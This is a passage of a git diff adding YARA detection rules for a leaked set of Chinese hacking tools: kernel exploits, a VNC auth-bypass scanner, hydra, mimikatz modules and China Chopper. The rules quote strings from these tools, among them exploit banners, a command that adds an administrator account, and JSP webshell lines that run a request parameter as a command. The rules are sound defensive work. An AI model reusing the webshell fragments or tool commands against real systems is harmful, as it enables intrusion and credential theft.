+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ecf4ba6d1344f2f3114d52859addee8b0770ed0d"
+		id = "88a01e7a-8210-5e0c-a9b8-b7c9b991e16b"
+	strings:
+		$s1 = "c:\\windows\\system32\\command.com /c " fullword ascii
+		$s2 = "Easy Usage Version -- Edited By: racle@tian6.com" fullword ascii
+		$s3 = "OH,Sry.Too long command." fullword ascii
+		$s4 = "Success! Commander." fullword ascii
+		$s5 = "Hey,how can racle work without ur command ?" fullword ascii
+		$s6 = "The exploit thread was unable to map the virtual 8086 address space" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule CN_Tools_Vscan {
+	meta:
+		description = "Chinese Hacktool Set - file Vscan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0365fe05e2de0f327dfaa8cd0d988dbb7b379612"
+		id = "2d73d9c9-62cd-592f-a44e-0a0456c85a3c"
+	strings:
+		$s1 = "[+] Usage: VNC_bypauth <target> <scantype> <option>" fullword ascii
+		$s2 = "========RealVNC <= 4.1.1 Bypass Authentication Scanner=======" fullword ascii
+		$s3 = "[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations" fullword ascii
+		$s4 = "VNC_bypauth -i 192.168.0.1,192.168.0.2,192.168.0.3,..." fullword ascii
+		$s5 = "-vn:%-15s:%-7d  connection closed" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and 2 of them
+}
+
+rule Dos_iis {
+	meta:
+		description = "Chinese Hacktool Set - file iis.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "61ffd2cbec5462766c6f1c44bd44eeaed4f3d2c7"
+		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"
+	strings:
+		$s1 = "comspec" fullword ascii
+		$s2 = "program terming" fullword ascii
+		$s3 = "WinSta0\\Defau" fullword ascii
+		$s4 = "* FROM IIsWebInfo" ascii
+		$s5 = "www.icehack." ascii
+		$s6 = "wmiprvse.exe" fullword ascii
+		$s7 = "Pid: %d" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule IISPutScannesr {
+	meta:
+		description = "Chinese Hacktool Set - file IISPutScannesr.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2dd8fee20df47fd4eed5a354817ce837752f6ae9"
+		id = "c5d358e8-955f-5b96-89e7-eb0b6c4d0af0"
+	strings:
+		$s1 = "yoda & M.o.D." ascii
+		$s2 = "-> come.to/f2f **************" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule HKTL_Unknown_CN_Generate {
+	meta:
+		description = "Chinese Hacktool Set - file Generate.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2022-01-20" /* fixed typo in rule name */
+		hash = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+		id = "88ad2c71-519f-58b0-87f8-a6f54a54a774"
+	strings:
+		$s1 = "C:\\TEMP\\" ascii
+		$s2 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s3 = "$530 Please login with USER and PASS." fullword ascii
+		$s4 = "_Shell.exe" fullword ascii
+		$s5 = "ftpcWaitingPassword" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 3 of them
+}
+
+rule Pc_rejoice {
+	meta:
+		description = "Chinese Hacktool Set - file rejoice.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+		id = "197b5a21-e1ed-5ea8-b7f2-e84684aedc54"
+	strings:
+		$s1 = "@members.3322.net/dyndns/update?system=dyndns&hostname=" fullword ascii
+		$s2 = "http://www.xxx.com/xxx.exe" fullword ascii
+		$s3 = "@ddns.oray.com/ph/update?hostname=" fullword ascii
+		$s4 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s5 = "ListViewProcessListColumnClick!" fullword ascii
+		$s6 = "http://iframe.ip138.com/ic.asp" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and 3 of them
+}
+
+rule ms11080_withcmd {
+	meta:
+		description = "Chinese Hacktool Set - file ms11080_withcmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+		id = "fa5002ac-d6e6-543f-8020-43dfae689b3b"
+	strings:
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
+		$s2 = "\\ms11080\\ms11080\\Debug\\ms11080.pdb" ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[>] create porcess error" fullword ascii
+		$s5 = "[>] ms11-080 Exploit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule OtherTools_xiaoa {
+	meta:
+		description = "Chinese Hacktool Set - file xiaoa.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6988acb738e78d582e3614f83993628cf92ae26d"
+		id = "a456d373-2063-5264-8cf4-d0a5918392fc"
+	strings:
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
+		$s2 = "The shell \"cmd\" success!" fullword ascii
+		$s3 = "Not Windows NT family OS." fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "Unable to get kernel base address." fullword ascii
+		$s5 = "run \"%s\" failed,code: %d" fullword ascii
+		$s6 = "Windows Kernel Local Privilege Exploit " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule unknown2 {
+	meta:
+		description = "Chinese Hacktool Set - file unknown2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "32508d75c3d95e045ddc82cb829281a288bd5aa3"
+		id = "af7ddcbf-1cba-51a9-b435-9a267320f502"
+	strings:
+		$s1 = "http://md5.com.cn/index.php/md5reverse/index/md/" wide
+		$s2 = "http://www.md5decrypter.co.uk/feed/api.aspx?" wide
+		$s3 = "http://www.md5.com.cn" fullword wide
+		$s4 = "1.5.exe" fullword wide
+		$s5 = "\\Set.ini" wide
+		$s6 = "OpenFileDialog1" fullword wide
+		$s7 = " (*.txt)|*.txt" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 4 of them
+}
+
+rule hydra_7_3_hydra {
+	meta:
+		description = "Chinese Hacktool Set - file hydra.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2f82b8bf1159e43427880d70bcd116dc9e8026ad"
+		id = "70e9a5bf-ce2d-58ab-8bdc-257e2aa5e917"
+	strings:
+		$s1 = "[ATTEMPT-ERROR] target %s - login \"%s\" - pass \"%s\" - child %d - %lu of %lu" fullword ascii
+		$s2 = "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE" ascii
+		$s3 = "cn=^USER^,cn=users,dc=foo,dc=bar,dc=com for domain foo.bar.com" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s5 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule OracleScan {
+	meta:
+		description = "Chinese Hacktool Set - file OracleScan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "10ff7faf72fe6da8f05526367b3522a2408999ec"
+		id = "142c0ed1-0752-54c3-9a4b-68e656c32939"
+	strings:
+		$s1 = "MYBLOG:HTTP://HI.BAIDU.COM/0X24Q" fullword ascii
+		$s2 = "\\Borland\\Delphi\\RTL" ascii
+		$s3 = "USER_NAME" ascii
+		$s4 = "FROMWWHERE" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule SQLTools {
+	meta:
+		description = "Chinese Hacktool Set - file SQLTools.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "38a9caa2079afa2c8d7327e7762f7ed9a69056f7"
+		id = "bddb7956-abc1-58b6-8a6d-eb482be99f42"
+	strings:
+		$s1 = "DBN_POST" fullword wide
+		$s2 = "LOADER ERROR" fullword ascii
+		$s3 = "www.1285.net" fullword wide
+		$s4 = "TUPFILEFORM" fullword wide
+		$s5 = "DBN_DELETE" fullword wide
+		$s6 = "DBINSERT" fullword wide
+		$s7 = "Copyright (C) Kibosoft Corp. 2001-2006" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2350KB and all of them
+}
+
+rule HKTL_Portscanner_533_NET_Jun15 {
+	meta:
+		description = "Chinese Hacktool Set - file portscanner.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		old_rule_name = "portscanner"
+		date = "2015-06-13"
+		hash = "1de367d503fdaaeee30e8ad7c100dd1e320858a4"
+		id = "c834203d-6d4d-5242-9b1e-b64fa6560ccd"
+	strings:
+		$s0 = "PortListfNo" fullword ascii
+		$s1 = ".533.net" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "exitfc" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule kappfree {
+	meta:
+		description = "Chinese Hacktool Set - file kappfree.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		id = "eb9c1324-5d82-57ab-bd48-98c984b45b32"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "kappfree.dll" fullword ascii
+		$s3 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule Smartniff {
+	meta:
+		description = "Chinese Hacktool Set - file Smartniff.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "67609f21d54a57955d8fe6d48bc471f328748d0a"
+		id = "3d169126-1b43-5545-a106-7c38a6a49499"
+	strings:
+		$s1 = "smsniff.exe" fullword wide
+		$s2 = "support@nirsoft.net0" fullword ascii
+		$s3 = "</requestedPrivileges></security></trustInfo></assembly>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule ChinaChopper_caidao {
+	meta:
+		description = "Chinese Hacktool Set - file caidao.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "056a60ec1f6a8959bfc43254d97527b003ae5edb"
+		id = "c56eb3e5-e916-535b-bf87-88a9ae94c359"
+	strings:
+		$s1 = "Pass,Config,n{)" fullword ascii
+		$s2 = "phMYSQLZ" fullword ascii
+		$s3 = "\\DHLP\\." ascii
+		$s4 = "\\dhlp\\." ascii
+		$s5 = "SHAutoComple" fullword ascii
+		$s6 = "MainFrame" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1077KB and all of them
+}
+
+rule KiwiTaskmgr_2 {
+	meta:
+		description = "Chinese Hacktool Set - file KiwiTaskmgr.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		id = "ea021257-8ced-5131-a00a-be014b4112fb"
+	strings:
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Taskmgr no-gpo" fullword wide
+		$s3 = "KiwiAndTaskMgr" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule kappfree_2 {
+	meta:
+		description = "Chinese Hacktool Set - file kappfree.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		id = "6c7b4a99-b5ab-5fd6-b130-7c30b84b7171"
+	strings:
+		$s1 = "kappfree.dll" fullword ascii
+		$s2 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+		$s3 = "' introuvable !" fullword wide
+		$s4 = "kiwi\\mimikatz" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule x_way2_5_sqlcmd {
+	meta:
+		description = "Chinese Hacktool Set - file sqlcmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5152a57e3638418b0d97a42db1c0fc2f893a2794"
+		id = "c6b4dae2-38cb-5cf9-b980-df5ebefbe7ad"
+	strings:
+		$s1 = "LOADER ERROR" fullword ascii
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s3 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+		$s4 = "kernel32.dll" fullword ascii
+		$s5 = "VirtualAlloc" fullword ascii
+		$s6 = "VirtualFree" fullword ascii
+		$s7 = "VirtualProtect" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+		$s9 = "user32.dll" fullword ascii
+		$s16 = "MessageBoxA" fullword ascii
+		$s10 = "wsprintfA" fullword ascii
+		$s11 = "kernel32.dll" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "GetModuleHandleA" fullword ascii
+		$s14 = "LoadLibraryA" fullword ascii
+		$s15 = "odbc32.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 23KB and filesize > 20KB and all of them
+}
+
+rule Win32_klock {
+	meta:
+		description = "Chinese Hacktool Set - file klock.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "7addce4434670927c4efaa560524680ba2871d17"
+		id = "dd17a8e2-54af-5967-937a-d83feceab891"
+	strings:
+		$s1 = "klock.dll" fullword ascii
+		$s2 = "Erreur : impossible de basculer le bureau ; SwitchDesktop : " fullword wide
+		$s3 = "klock de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule ipsearcher {
+	meta:
+		description = "Chinese Hacktool Set - file ipsearcher.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		hash = "1e96e9c5c56fcbea94d26ce0b3f1548b224a4791"
+		id = "bb33535a-e8cc-545d-bee8-3c31902eedb9"
+	strings:
+		$s0 = "http://www.wzpg.com" fullword ascii
+		$s1 = "ipsearcher\\ipsearcher\\Release\\ipsearcher.pdb" ascii
+		$s3 = "_GetAddress" fullword ascii
+		$s5 = "ipsearcher.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule ms10048_x64 {
+	meta:
+		description = "Chinese Hacktool Set - file ms10048-x64.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+		id = "8c9bcf72-1bc7-57ed-9e0b-09d113a8c704"
+	strings:
+		$s1 = "The target is most likely patched." fullword ascii
+		$s2 = "Dojibiron by Ronald Huizer, (c) master#h4cker.us  " fullword ascii
+		$s3 = "[ ] Creating evil window" fullword ascii
+		$s4 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and 1 of them
+}
+
+rule hscangui {
+	meta:
+		description = "Chinese Hacktool Set - file hscangui.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "af8aced0a78e1181f4c307c78402481a589f8d07"
+		id = "f0993510-70ee-52c6-a7b8-e023eb4b33ee"
+	strings:
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "http://www.cnhonker.com" fullword ascii
+		$s3 = "%s@ftpscan#Cracked account:  %s/%s" fullword ascii
+		$s4 = "[%s]: Found \"FTP account: %s/%s\" !!!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule GoodToolset_ms11080 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11080.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+		id = "080e04a3-5cbe-57a8-9106-539451922cb4"
+	strings:
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii
+		$s2 = "\\ms11080\\Debug\\ms11080.pdb" ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[*] Add to Administrators success" fullword ascii
+		$s5 = "[*] User has been successfully added" fullword ascii
+		$s6 = "[>] ms11-08 Exploit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule epathobj_exp64 {
+	meta:
+		description = "Chinese Hacktool Set - file epathobj_exp64.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		hash = "09195ba4e25ccce35c188657957c0f2c6a61d083"
+		id = "cb56bbdc-8afa-5b4b-b7df-942dd3d60366"
+	strings:
+		$s1 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s2 = "Exploit ok run command" fullword ascii
+		$s3 = "\\epathobj_exp\\x64\\Release\\epathobj_exp.pdb" ascii
+		$s4 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s5 = "Mutex object did not timeout, list not patched" fullword ascii
+		$s6 = "- inconsistent onexit begin-end variables" fullword wide  /* Goodware String - occured 96 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+
+rule kelloworld_2 {
+	meta:
+		description = "Chinese Hacktool Set - file kelloworld.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		id = "3f298004-e618-5f4a-9cd7-c7c954b6fc64"
+	strings:
+		$s1 = "Hello World!" fullword wide
+		$s2 = "kelloworld.dll" fullword ascii
+		$s3 = "kelloworld de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule HScan_v1_20_hscan {
+	meta:
+		description = "Chinese Hacktool Set - file hscan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+		id = "4183824c-b77f-5500-a962-8d9dc78a9388"
+	strings:
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,100" fullword ascii
+		$s3 = ".\\report\\%s-%s.html" fullword ascii
+		$s4 = ".\\log\\Hscan.log" fullword ascii
+		$s5 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule _Project1_Generate_rejoice {
+	meta:
+		description = "Chinese Hacktool Set - from files Project1.exe, Generate.exe, rejoice.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+		hash1 = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+		hash2 = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+		id = "4b36d450-1194-527c-8565-7f321d486d01"
+	strings:
+		$s1 = "sfUserAppDataRoaming" fullword ascii
+		$s2 = "$TRzFrameControllerPropertyConnection" fullword ascii
+		$s3 = "delphi32.exe" fullword ascii
+		$s4 = "hkeyCurrentUser" fullword ascii
+		$s5 = "%s is not a valid IP address." fullword wide
+		$s6 = "Citadel hooking error" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule _hscan_hscan_hscangui {
+	meta:
+		description = "Chinese Hacktool Set - from files hscan.exe, hscan.exe, hscangui.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+		hash1 = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+		hash2 = "af8aced0a78e1181f4c307c78402481a589f8d07"
+		id = "174b0ee4-23ce-59fd-a784-ab58fd13ce67"
+	strings:
+		$s1 = ".\\log\\Hscan.log" fullword ascii
+		$s2 = ".\\report\\%s-%s.html" fullword ascii
+		$s3 = "[%s]: checking \"FTP account: ftp/ftp@ftp.net\" ..." fullword ascii
+		$s4 = "[%s]: IPC NULL session connection success !!!" fullword ascii
+		$s5 = "Scan %d targets,use %4.1f minutes" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and all of them
+}
+
+rule kiwi_tools {
+	meta:
+		description = "Chinese Hacktool Set"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "b5c93489a1b62181594d0fb08cc510d947353bc8"
+		hash8 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash9 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash10 = "febadc01a64a071816eac61a85418711debaf233"
+		hash11 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash12 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash13 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash14 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash15 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash16 = "20facf1fa2d87cccf177403ca1a7852128a9a0ab"
+		hash17 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+		id = "000f0081-b035-5c73-8da2-addde2b55303"
+	strings:
+		$s1 = "http://blog.gentilkiwi.com/mimikatz" ascii
+		$s2 = "Benjamin Delpy" fullword ascii
+		$s3 = "GlobalSign" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule kiwi_tools_gentil_kiwi {
+	meta:
+		description = "Chinese Hacktool Set"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash8 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash9 = "febadc01a64a071816eac61a85418711debaf233"
+		hash10 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash11 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash12 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash13 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash14 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash15 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+		id = "4ad54580-b10b-5b17-8d8a-510e210e04d1"
+	strings:
+		$s1 = "mimikatz" fullword wide
+		$s2 = "Copyright (C) 2012 Gentil Kiwi" fullword wide
+		$s3 = "Gentil Kiwi" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
diff --git a/yara-Neo23x0/gen_cn_webshells.yar b/yara-Neo23x0/gen_cn_webshells.yar
new file mode 100644
index 0000000..bdc908f
--- /dev/null
+++ b/yara-Neo23x0/gen_cn_webshells.yar
@@ -0,0 +1,717 @@
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-13
+    Identifier: CN-Tools Webshells
+    Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com)
+*/
+
+
+rule Tools_cmd {
+    meta:
+        description = "Chinese Hacktool Set - file cmd.jSp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "02e37b95ef670336dc95331ec73dbb5a86f3ba2b"
+        id = "27c3cb44-9351-52a2-8e14-afade14e3384"
+    strings:
+        $s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+        $s1 = "java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"Conn\"" ascii
+        $s2 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+        $s3 = "out.print(\"Hi,Man 2015<br /><!--?Confpwd=023&Conn=ls-->\");" fullword ascii
